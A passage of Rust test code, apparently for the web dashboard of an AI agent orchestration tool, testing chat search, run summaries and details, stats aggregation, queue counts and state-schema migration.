17659                ("agent", "Because the TTL is thirty seconds."),
17660            ],
17661        );
17662        write_talk(
17663            &f,
17664            "20260901-000002-bbbb",
17665            "closed",
17666            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17667        );
17668        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17669
17670        let search = |q: &'static str| {
17671            let f = &f;
17672            async move {
17673                f.get(&format!("/api/search?scope=chats&q={q}"))
17674                    .await
17675                    .json()
17676            }
17677        };
17678
17679        let v = search("PANGOLIN").await;
17680        assert_eq!(v["scope"], "chats");
17681        assert_eq!(v["total"], 1, "{v}");
17682        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17683        assert_eq!(v["hits"][0]["field"], "title");
17684        assert_eq!(v["unreadable"], 1, "{v}");
17685        let marked: Vec<&str> = v["hits"][0]["snippet"]
17686            .as_array()
17687            .unwrap()
17688            .iter()
17689            .filter(|p| p["hit"] == true)
17690            .map(|p| p["text"].as_str().unwrap())
17691            .collect();
17692        assert_eq!(marked, ["Pangolin"]);
17693
17694        // An agent turn, in a closed conversation.
17695        let v = search("zebra").await;
17696        assert_eq!(v["total"], 1, "{v}");
17697        assert_eq!(v["hits"][0]["field"], "agent");
17698        // Words may sit in different turns; all must be present.
17699        assert_eq!(search("pangolin%20thirty").await["total"], 1);
17700        assert_eq!(search("pangolin%20zebra").await["total"], 0);
17701        // Bookkeeping is not searched.
17702        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17703            assert_eq!(search(q).await["total"], 0, "{q}");
17704        }
17705        // The first line only is the title; the second line is still a turn.
17706        assert_eq!(search("second").await["hits"][0]["field"], "operator");
17707        // Open conversations are listed before closed ones.
17708        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17709
17710        let v = f.get("/api/search?scope=nope&q=a").await;
17711        assert_eq!(v.status, 400);
17712        assert!(
17713            v.body.contains("scope must be runs, tasks or chats"),
17714            "{}",
17715            v.body
17716        );
17717    }
17718
17719    #[test]
17720    fn a_question_card_links_a_task_id_to_the_task_page() {
17721        let start = APP_JS
17722            .find("function updateAskCard(")
17723            .expect("updateAskCard exists");
17724        let body = &APP_JS[start..];
17725        let body = &body[..body.find("\n}\n").expect("function end")];
17726        assert!(body.contains("question.run_is_task"));
17727        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17728        assert!(body.contains("`#/runs/${question.run}`"));
17729        assert!(body.contains("\"task\" : \"run\""));
17730    }
17731
17732    #[test]
17733    fn plain_text_message_surfaces_go_through_linkify() {
17734        assert!(APP_JS.contains("function linkify("));
17735        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17736        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17737        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17738        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17739        assert!(!APP_JS.contains("innerHTML = text"));
17740    }
17741
17742    #[test]
17743    fn implementation_rate_views_keep_independent_samples() {
17744        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17745            let a = stats::AgentStats {
17746                competitive_entered: competitive_n,
17747                competitive_wins: usize::from(competitive_n > 0),
17748                solo_entered: solo_n,
17749                solo_adopted: 2 * usize::from(solo_n > 0),
17750                ..Default::default()
17751            };
17752            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17753            for (key, n, numerator) in [
17754                ("competitive_win_rate", competitive_n, a.competitive_wins),
17755                ("solo_adoption_rate", solo_n, a.solo_adopted),
17756            ] {
17757                if n == 0 {
17758                    assert!(v[key].is_null());
17759                } else {
17760                    assert_eq!(v[key]["denominator"], n);
17761                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17762                }
17763            }
17764        }
17765        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17766        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17767        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17768        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17769    }
17770
17771    #[test]
17772    fn stats_bars_share_one_id_keyed_plan() {
17773        let start = APP_JS
17774            .find("function statsBarRows(")
17775            .expect("statsBarRows exists");
17776        let body = &APP_JS[start..];
17777        let body = &body[..body.find("\n}\n").expect("function end")];
17778        assert!(body.contains("statsBarPlan(rows)"));
17779        assert!(body.contains("statsAgentTone(row.agent)"));
17780        assert!(!body.contains("candTone(i)"));
17781        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17782        for root in [
17783            "stats-agents-bars",
17784            "stats-solo-bars",
17785            "stats-reviewers-bars",
17786        ] {
17787            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17788        }
17789    }
17790
17791    #[test]
17792    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17793        let start = APP_JS
17794            .find("function renderStatsReviewerScatter(")
17795            .expect("renderStatsReviewerScatter exists");
17796        let body = &APP_JS[start..];
17797        let body = &body[..body.find("\n}\n").expect("function end")];
17798        assert!(body.contains("statsScatterPlan(reviewers)"));
17799        assert!(body.contains("statsAgentTone(d.agent)"));
17800        assert!(APP_JS.contains("function statsScatterPlan("));
17801        assert!(
17802            APP_JS.contains("d.submitted < STATS_LOW_N")
17803                || APP_JS.contains("r.submitted < STATS_LOW_N")
17804        );
17805        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
17806        assert!(APP_CSS.contains(".precision-scatter"));
17807    }
17808
17809    #[test]
17810    fn advisor_reflection_is_drawn_as_stacked_segments() {
17811        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
17812        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
17813        let html = include_str!("../assets/ui/index.html");
17814        assert!(html.contains("Approximate"));
17815        for label in ["reflected strongly", "faint", "no proposal"] {
17816            assert!(html.contains(label));
17817        }
17818        let css = include_str!("../assets/ui/app.css");
17819        for c in ["refl-strong", "refl-faint", "refl-absent"] {
17820            assert!(css.contains(&format!(".{c} {{")));
17821        }
17822    }
17823
17824    #[test]
17825    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
17826        assert!(APP_JS.contains("function statsDailyPlan("));
17827        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
17828        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
17829    }
17830
17831    #[test]
17832    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
17833        let start = APP_JS
17834            .find("function scheduleSearch(")
17835            .expect("scheduleSearch exists");
17836        let body = &APP_JS[start..];
17837        let body = &body[..body.find("\n}\n").expect("function end")];
17838        assert!(body.contains("s.seq += 1"));
17839    }
17840
17841    /// The dashboard reads every run's state itself rather than trusting a
17842    /// separately-maintained count, so an unreadable run must be counted the
17843    /// same way `/api/health` counts it - never silently dropped the way the
17844    /// CLI's own `stats::load_all` drops it.
17845    #[tokio::test]
17846    async fn stats_runs_unreadable_matches_health() {
17847        let f = Fixture::start().await;
17848        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17849        let broken = f.runs().join("20260902-140502-bad");
17850        std::fs::create_dir_all(&broken).expect("run dir");
17851        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17852
17853        let stats = f.get("/api/stats").await;
17854        let health = f.get("/api/health").await;
17855
17856        assert_eq!(stats.status, 200);
17857        assert_eq!(stats.json()["totals"]["runs"], 1);
17858        assert_eq!(stats.json()["runs_unreadable"], 1);
17859        assert_eq!(
17860            stats.json()["runs_unreadable"],
17861            health.json()["runs_unreadable"],
17862            "the dashboard and /api/health must never disagree about how many \
17863             runs could not be read"
17864        );
17865    }
17866
17867    #[tokio::test]
17868    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17869        let f = Fixture::start().await;
17870        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17871        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17872        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17873
17874        let totals = &f.get("/api/stats").await.json()["totals"];
17875        assert_eq!(totals["runs"], 3);
17876        assert_eq!(totals["merged"], 1);
17877        assert_eq!(totals["stalled"], 1);
17878        assert_eq!(totals["in_progress"], 1);
17879        // A stalled run must never read as blocked/merged/ready - it is its
17880        // own bucket, not folded into a "decided" one.
17881        assert_eq!(totals["blocked"], 0);
17882        assert_eq!(totals["ready"], 0);
17883    }
17884
17885    #[tokio::test]
17886    async fn stats_advisors_report_proposals_and_reflection() {
17887        use crate::advise::{Advice, AdvisorRecord, Reflection};
17888        use crate::verdict::Proposal;
17889
17890        let f = Fixture::start().await;
17891        let mut state = RunState::new(
17892            PathBuf::from("/repo/magi"),
17893            "main".to_owned(),
17894            "0123456789abcdef".to_owned(),
17895            "task".to_owned(),
17896            Config::default(),
17897        );
17898        state.id = "20260902-140501-a".to_owned();
17899        state.status = RunStatus::Merged;
17900        state.advice = Some(Advice {
17901            records: vec![
17902                AdvisorRecord {
17903                    seat: "advisor-1".to_owned(),
17904                    agent: "alpha".to_owned(),
17905                    proposal: Some(Proposal {
17906                        approach: "do it".to_owned(),
17907                        key_tradeoff: "speed over memory".to_owned(),
17908                        risks: Vec::new(),
17909                        touches: Vec::new(),
17910                        why_not_naive: "breaks under load".to_owned(),
17911                    }),
17912                    error: None,
17913                    duration_ms: 0,
17914                    reflection: Reflection::Strong,
17915                },
17916                AdvisorRecord {
17917                    seat: "advisor-2".to_owned(),
17918                    agent: "alpha".to_owned(),
17919                    proposal: None,
17920                    error: Some("timed out".to_owned()),
17921                    duration_ms: 0,
17922                    reflection: Reflection::Absent,
17923                },
17924            ],
17925            synthesis: Some("blended brief".to_owned()),
17926        });
17927        let dir = f.runs().join(&state.id);
17928        std::fs::create_dir_all(&dir).expect("run dir");
17929        std::fs::write(
17930            dir.join("run.json"),
17931            serde_json::to_string_pretty(&state).expect("serialize run"),
17932        )
17933        .expect("write run.json");
17934
17935        // `alpha` is in no roster here; this test is about the rates.
17936        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17937        let alpha = advisors
17938            .as_array()
17939            .expect("an array")
17940            .iter()
17941            .find(|a| a["agent"] == "alpha")
17942            .expect("alpha row");
17943        assert_eq!(alpha["seated"], 2);
17944        assert_eq!(alpha["proposed"], 1);
17945        assert_eq!(alpha["absent"], 1);
17946        assert_eq!(alpha["strong"], 1);
17947        assert_eq!(alpha["faint"], 0);
17948        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17949    }
17950
17951    #[tokio::test]
17952    async fn stats_hides_agents_outside_the_roster_unless_all() {
17953        use crate::run::Candidate;
17954        let repo = TempDir::new().expect("repo dir");
17955        std::fs::write(
17956            repo.path().join("magi.toml"),
17957            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17958        )
17959        .expect("magi.toml");
17960        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17961        let mut state = RunState::new(
17962            PathBuf::from("/repo/magi"),
17963            "main".to_owned(),
17964            "0123456789abcdef".to_owned(),
17965            "task".to_owned(),
17966            Config::default(),
17967        );
17968        state.id = "20260902-140501-a".to_owned();
17969        state.status = RunStatus::Merged;
17970        for (label, agent) in [('A', "keep"), ('B', "retired")] {
17971            let mut c: Candidate = serde_json::from_value(serde_json::json!({
17972                "index": 0, "label": label.to_string(), "agent": agent,
17973                "branch": "b", "worktree": "/w",
17974            }))
17975            .expect("candidate");
17976            c.label = label;
17977            state.candidates.push(c);
17978        }
17979        let dir = f.runs().join(&state.id);
17980        std::fs::create_dir_all(&dir).expect("run dir");
17981        std::fs::write(
17982            dir.join("run.json"),
17983            serde_json::to_string_pretty(&state).expect("serialize run"),
17984        )
17985        .expect("write run.json");
17986
17987        let agents_of = |v: &serde_json::Value| -> Vec<String> {
17988            v["agents"]
17989                .as_array()
17990                .expect("array")
17991                .iter()
17992                .map(|a| a["agent"].as_str().unwrap().to_owned())
17993                .collect()
17994        };
17995        let hidden = f.get("/api/stats").await.json();
17996        assert_eq!(agents_of(&hidden), ["keep"]);
17997        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17998        assert_eq!(hidden["totals"]["runs"], 1);
17999
18000        let all = f.get("/api/stats?all=true").await.json();
18001        assert_eq!(agents_of(&all).len(), 2);
18002        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18003        // Verify competitive and solo keys exist on agent entries
18004        let keep_agent = all["agents"]
18005            .as_array()
18006            .unwrap()
18007            .iter()
18008            .find(|a| a["agent"] == "keep")
18009            .unwrap();
18010        assert_eq!(keep_agent["competitive_entered"], 1);
18011        assert_eq!(keep_agent["competitive_wins"], 0);
18012        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18013        assert_eq!(keep_agent["solo_entered"], 0);
18014        assert_eq!(keep_agent["solo_adopted"], 0);
18015        assert!(keep_agent["solo_adoption_rate"].is_null());
18016    }
18017
18018    #[tokio::test]
18019    async fn stats_release_bumps_split_clean_from_attention() {
18020        use crate::run::ReleaseBump;
18021
18022        let f = Fixture::start().await;
18023
18024        let mut clean = RunState::new(
18025            PathBuf::from("/repo/magi"),
18026            "main".to_owned(),
18027            "0123456789abcdef".to_owned(),
18028            "task".to_owned(),
18029            Config::default(),
18030        );
18031        clean.id = "20260902-140501-a".to_owned();
18032        clean.status = RunStatus::Merged;
18033        clean.release_bump = Some(ReleaseBump {
18034            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18035            version: Some("1.0.0".to_owned()),
18036            automerge_enabled: true,
18037            merged_directly: false,
18038            local: false,
18039            release: None,
18040            problem: None,
18041            action_required: None,
18042        });
18043
18044        let mut blocked = RunState::new(
18045            PathBuf::from("/repo/magi"),
18046            "main".to_owned(),
18047            "0123456789abcdef".to_owned(),
18048            "task".to_owned(),
18049            Config::default(),
18050        );
18051        blocked.id = "20260902-140502-b".to_owned();
18052        blocked.status = RunStatus::Merged;
18053        blocked.release_bump = Some(ReleaseBump {
18054            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18055            version: Some("1.0.1".to_owned()),
18056            automerge_enabled: false,
18057            merged_directly: false,
18058            local: false,
18059            release: None,
18060            problem: Some("checks red".to_owned()),
18061            action_required: Some("look at the PR".to_owned()),
18062        });
18063
18064        for state in [&clean, &blocked] {
18065            let dir = f.runs().join(&state.id);
18066            std::fs::create_dir_all(&dir).expect("run dir");
18067            std::fs::write(
18068                dir.join("run.json"),
18069                serde_json::to_string_pretty(state).expect("serialize run"),
18070            )
18071            .expect("write run.json");
18072        }
18073
18074        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18075        assert_eq!(bumps["merged"], 2);
18076        assert_eq!(bumps["recorded"], 2);
18077        assert_eq!(bumps["pr_opened"], 2);
18078        assert_eq!(bumps["automerge_enabled"], 1);
18079        assert_eq!(bumps["needs_attention"], 1);
18080        assert_eq!(bumps["clean"], 1);
18081        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18082        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18083    }
18084
18085    #[tokio::test]
18086    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18087        let f = Fixture::start().await;
18088        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18089
18090        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18091        assert_eq!(bumps["merged"], 1);
18092        assert_eq!(bumps["recorded"], 0);
18093        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18094        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18095        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18096        // `pr_opened` and `recorded` are both zero here, so these rates have
18097        // no denominator to compute from and must be null.
18098        assert_eq!(bumps["automerge_rate"], Value::Null);
18099        assert_eq!(bumps["attention_rate"], Value::Null);
18100    }
18101
18102    #[tokio::test]
18103    async fn stats_queue_counts_come_from_the_live_queue() {
18104        let f = Fixture::start().await;
18105        let q = f.queue();
18106        let mut queued = Task::new(
18107            "queued task".to_owned(),
18108            "do it".to_owned(),
18109            PathBuf::from("/repo"),
18110            Source::Human,
18111        );
18112        q.put(&mut queued).expect("put queued");
18113        let mut held = Task::new(
18114            "held task".to_owned(),
18115            "do it later".to_owned(),
18116            PathBuf::from("/repo"),
18117            Source::Human,
18118        );
18119        held.hold_machine(Some("out of attempts".to_owned()));
18120        q.put(&mut held).expect("put held");
18121
18122        let queue = f.get("/api/stats").await.json()["queue"].clone();
18123        assert_eq!(queue["queued"], 1);
18124        assert_eq!(queue["held"], 1);
18125        assert_eq!(queue["running"], 0);
18126        assert_eq!(queue["done"], 0);
18127        assert_eq!(queue["failed"], 0);
18128        assert_eq!(queue["blocked"], 0);
18129    }
18130
18131    #[tokio::test]
18132    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18133        let f = Fixture::start().await;
18134        let stats = f.get("/api/stats").await;
18135        assert_eq!(stats.status, 200);
18136        assert_eq!(stats.json()["totals"]["runs"], 0);
18137        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18138        assert_eq!(stats.json()["runs_unreadable"], 0);
18139        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18140        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18141        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18142        assert_eq!(stats.json()["repo"], Value::Null);
18143    }
18144
18145    #[tokio::test]
18146    async fn stats_lists_every_repository_with_runs_recorded() {
18147        let f = Fixture::start().await;
18148        write_run_repo(
18149            &f.runs(),
18150            "20260902-140501-a",
18151            RunStatus::Merged,
18152            "/repos/a",
18153        );
18154        write_run_repo(
18155            &f.runs(),
18156            "20260902-140502-b",
18157            RunStatus::Merged,
18158            "/repos/a",
18159        );
18160        write_run_repo(
18161            &f.runs(),
18162            "20260902-140503-c",
18163            RunStatus::Blocked,
18164            "/repos/b",
18165        );
18166
18167        let stats = f.get("/api/stats").await;
18168        assert_eq!(stats.status, 200);
18169        // Unfiltered - the aggregate across both repositories.
18170        assert_eq!(stats.json()["totals"]["runs"], 3);
18171        assert_eq!(stats.json()["repo"], Value::Null);
18172
18173        let repos = stats.json()["repos"].clone();
18174        let repos = repos.as_array().unwrap();
18175        assert_eq!(repos.len(), 2);
18176        // Busiest (2 runs) first.
18177        assert_eq!(repos[0]["repo"], "/repos/a");
18178        assert_eq!(repos[0]["name"], "a");
18179        assert_eq!(repos[0]["runs"], 2);
18180        assert_eq!(repos[1]["repo"], "/repos/b");
18181        assert_eq!(repos[1]["runs"], 1);
18182    }
18183
18184    #[tokio::test]
18185    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18186        let f = Fixture::start().await;
18187        write_run_repo(
18188            &f.runs(),
18189            "20260902-140501-a",
18190            RunStatus::Merged,
18191            "/repos/a",
18192        );
18193        write_run_repo(
18194            &f.runs(),
18195            "20260902-140502-b",
18196            RunStatus::Blocked,
18197            "/repos/b",
18198        );
18199
18200        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18201        assert_eq!(stats.status, 200);
18202        assert_eq!(stats.json()["totals"]["runs"], 1);
18203        assert_eq!(stats.json()["totals"]["merged"], 1);
18204        assert_eq!(stats.json()["repo"], "/repos/a");
18205        // The repository list itself is unaffected by the filter - it is
18206        // what a client switches repositories from.
18207        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18208        // runs_unreadable is a whole-workload count, never scoped to the
18209        // selected repository - see StatsView::runs_unreadable's own doc.
18210        assert_eq!(stats.json()["runs_unreadable"], 0);
18211    }
18212
18213    #[tokio::test]
18214    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18215        let f = Fixture::start().await;
18216        write_run_repo(
18217            &f.runs(),
18218            "20260902-140501-a",
18219            RunStatus::Merged,
18220            "/repos/a",
18221        );
18222        write_run_repo(
18223            &f.runs(),
18224            "20260902-140502-b",
18225            RunStatus::Merged,
18226            "/repos/b",
18227        );
18228
18229        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18230            let json = f.get(uri).await.json();
18231            let daily = json["daily"].as_array().expect("daily is an array");
18232            assert_eq!(daily.len(), 30);
18233            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18234            let mut sorted = dates.clone();
18235            sorted.sort();
18236            assert_eq!(dates, sorted);
18237            for d in daily {
18238                assert_eq!(
18239                    d["merged"].as_u64().unwrap()
18240                        + d["ready"].as_u64().unwrap()
18241                        + d["other"].as_u64().unwrap(),
18242                    d["runs"].as_u64().unwrap()
18243                );
18244            }
18245            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18246        }
18247    }
18248
18249    #[tokio::test]
18250    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18251        let f = Fixture::start().await;
18252        write_run_repo(
18253            &f.runs(),
18254            "20260902-140501-a",
18255            RunStatus::Merged,
18256            "/repos/a",
18257        );
18258
18259        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18260        assert_eq!(stats.status, 404);
18261    }
18262
18263    #[tokio::test]
18264    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18265        let f = Fixture::start().await;
18266        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18267
18268        let summary = f.get("/api/runs").await.json();
18269        let row = &summary[0];
18270        assert_eq!(row["short"], "a1b2");
18271        assert_eq!(row["status"], "ready");
18272        assert_eq!(row["done"], true);
18273        assert_eq!(row["title"], "Add a web UI");
18274        assert_eq!(row["repo_name"], "magi");
18275        assert_eq!(row["judges"], 3);
18276        assert_eq!(row["winner"], Value::Null);
18277        assert_eq!(row["reviews"], 0);
18278
18279        // The short id resolves, and the detail route is the state itself, not
18280        // a projection of it: the UI reads fields the summary does not carry.
18281        let detail = f.get("/api/runs/a1b2").await;
18282        assert_eq!(detail.status, 200);
18283        assert_eq!(detail.json()["base_branch"], "main");
18284        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18285    }
18286
18287    /// `status: "ready"` alone cannot tell a run still headed for a landing
18288    /// (a PR closed without merging, say) apart from one `[merge] mode =
18289    /// "none"` left unmerged for good — the confusion the operator flagged
18290    /// after the CLI report already grew a `not landed — nothing to do by
18291    /// design` line for exactly this case (`report.rs`). Both the list route
18292    /// and the detail route must carry a flag the phone can key on instead of
18293    /// re-deriving it from `status` + `merge.mode` itself.
18294    #[tokio::test]
18295    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18296        let f = Fixture::start().await;
18297
18298        let mut none_run = RunState::new(
18299            PathBuf::from("/repo/magi"),
18300            "main".to_owned(),
18301            "0123456789abcdef".to_owned(),
18302            "Add a web UI".to_owned(),
18303            Config::default(),
18304        );
18305        none_run.id = "20260902-140503-none".to_owned();
18306        none_run.status = RunStatus::Ready;
18307        none_run.merge = Some(crate::run::MergeOutcome {
18308            mode: crate::config::MergeMode::None,
18309            ok: true,
18310            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18311            empty: false,
18312        });
18313        write_state(&f.runs(), &none_run);
18314
18315        let mut pr_run = RunState::new(
18316            PathBuf::from("/repo/magi"),
18317            "main".to_owned(),
18318            "0123456789abcdef".to_owned(),
18319            "Add a web UI".to_owned(),
18320            Config::default(),
18321        );
18322        pr_run.id = "20260902-140504-prcl".to_owned();
18323        pr_run.status = RunStatus::Ready;
18324        pr_run.merge = Some(crate::run::MergeOutcome {
18325            mode: crate::config::MergeMode::Pr,
18326            ok: false,
18327            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18328            empty: false,
18329        });
18330        write_state(&f.runs(), &pr_run);
18331
18332        let summary = f.get("/api/runs").await.json();
18333        let rows: std::collections::HashMap<&str, &Value> = summary
18334            .as_array()
18335            .expect("an array")
18336            .iter()
18337            .map(|r| (r["id"].as_str().expect("an id"), r))
18338            .collect();
18339        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18340        assert_eq!(
18341            rows[none_run.id.as_str()]["unmerged_by_design"],
18342            true,
18343            "a mode-none Ready must be flagged in the list"
18344        );
18345        assert_eq!(
18346            rows[pr_run.id.as_str()]["unmerged_by_design"],
18347            false,
18348            "a Ready reached by a closed pull request is a different case"
18349        );
18350
18351        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18352        assert_eq!(none_detail["status"], "ready");
18353        assert_eq!(none_detail["unmerged_by_design"], true);
18354
18355        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18356        assert_eq!(pr_detail["unmerged_by_design"], false);
18357    }
18358
18359    /// `RunState::active` is only ever cleared by whoever populated it, so the
18360    /// detail route also has to say whether a daemon is actually still
18361    /// driving this run right now — otherwise a seat from a killed process's
18362    /// last wave would read as live forever.
18363    #[tokio::test]
18364    async fn run_core_survives_unavailable_related_stores() {
18365        let home = TempDir::new().unwrap();
18366        let ui = delta_test_ui(home.path());
18367        let state = RunState::new(
18368            PathBuf::from("/repo/magi"),
18369            "main".into(),
18370            "0123456789abcdef".into(),
18371            "Useful core instructions".into(),
18372            Config::default(),
18373        );
18374        let dir = ui.runs.join(&state.id);
18375        std::fs::create_dir_all(&dir).unwrap();
18376        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18377        std::fs::write(ui.questions.root(), "unavailable").unwrap();
18378        std::fs::write(ui.queue.root(), "unavailable").unwrap();
18379        let core = run_core(State(ui.clone()), Path(state.id.clone()))
18380            .await
18381            .unwrap()
18382            .0;
18383        assert_eq!(core.state.instruction, state.instruction);
18384        assert_eq!(core.state.updated_at, state.updated_at);
18385        assert!(core.task.is_none());
18386        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18387    }
18388
18389    #[tokio::test]
18390    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18391        let f = Fixture::start().await;
18392        // Matches `write_daemon`'s hard-coded `current.run`, so the second
18393        // half of this test can claim the daemon is working on it without a
18394        // second helper.
18395        let id = "20260902-140502-bbbb";
18396        let mut state = RunState::new(
18397            PathBuf::from("/repo/magi"),
18398            "main".to_owned(),
18399            "0123456789abcdef".to_owned(),
18400            "Add a web UI".to_owned(),
18401            Config::default(),
18402        );
18403        state.id = id.to_owned();
18404        state.status = RunStatus::Judging;
18405        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18406        let dir = f.runs().join(id);
18407        std::fs::create_dir_all(&dir).expect("run dir");
18408        std::fs::write(
18409            dir.join("run.json"),
18410            serde_json::to_string_pretty(&state).expect("serialize run"),
18411        )
18412        .expect("write run.json");
18413
18414        // No daemon.json at all, and no `driver_pid` recorded either (this
18415        // state was written directly, never through `execute()`): there is
18416        // nothing to confirm either way, so the route must say `"unknown"` —
18417        // never `"dead"`, which is exactly the false diagnosis a manual `magi
18418        // run` used to get from this route before `driver_pid` existed.
18419        let cold = f.get(&format!("/api/runs/{id}")).await.json();
18420        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18421        assert_eq!(cold["live"], "unknown", "{cold}");
18422
18423        // A fresh heartbeat naming exactly this run: the same entry now reads
18424        // as confirmed, not merely recorded.
18425        write_daemon(f.home.path(), Timestamp::now());
18426        let warm = f.get(&format!("/api/runs/{id}")).await.json();
18427        assert_eq!(warm["live"], "live", "{warm}");
18428    }
18429
18430    #[test]
18431    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18432        let home = tempfile::tempdir().expect("temp home");
18433        let runs = home.path().join("runs");
18434        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18435            let mut state = RunState::new(
18436                PathBuf::from("/repo/magi"),
18437                "main".to_owned(),
18438                "0123456789abcdef".to_owned(),
18439                "Generated review context, not authored task criteria".to_owned(),
18440                Config::default(),
18441            );
18442            state.origin = origin;
18443            state.status = RunStatus::Blocked;
18444            // Earlier migrations must not infer these facts again.
18445            state.driver_exited = false;
18446            state.gate_ran = true;
18447            let expected = serde_json::to_value(&state).expect("serialize current state");
18448            let mut legacy = expected.clone();
18449            legacy["schema"] = serde_json::json!(13);
18450            legacy.as_object_mut().unwrap().remove("task_instruction");
18451            let dir = runs.join(&state.id);
18452            std::fs::create_dir_all(&dir).expect("run dir");
18453            let path = dir.join("run.json");
18454            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18455            std::fs::write(&path, &body).expect("write legacy run");
18456
18457            for loaded in [
18458                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18459                read_run(&runs, &state.id).expect("web migration"),
18460            ] {
18461                assert_eq!(loaded.schema, crate::run::SCHEMA);
18462                assert!(loaded.task_instruction.is_none());
18463                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18464            }
18465            assert_eq!(runs_unreadable(&runs), 0);
18466            assert_eq!(std::fs::read(&path).unwrap(), body);
18467        }
18468    }
18469
18470    /// Where a run came from is shown, and a run written before origins were
18471    /// recorded (schema 12, no `origin` key) stays readable and says so.
18472    #[tokio::test]
18473    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18474        let f = Fixture::start().await;
18475        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18476            let mut state = RunState::new(
18477                PathBuf::from("/repo/magi"),
18478                "main".to_owned(),
18479                "0123456789abcdef".to_owned(),
18480                "Add a web UI".to_owned(),
18481                Config::default(),
18482            );
18483            state.id = id.to_owned();
18484            state.origin = origin;
18485            let mut value = serde_json::to_value(&state).expect("serialize run");
18486            if let Some(schema) = schema {
18487                value["schema"] = serde_json::json!(schema);
18488                value.as_object_mut().unwrap().remove("origin");
18489            }
18490            let dir = f.runs().join(id);
18491            std::fs::create_dir_all(&dir).expect("run dir");
18492            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
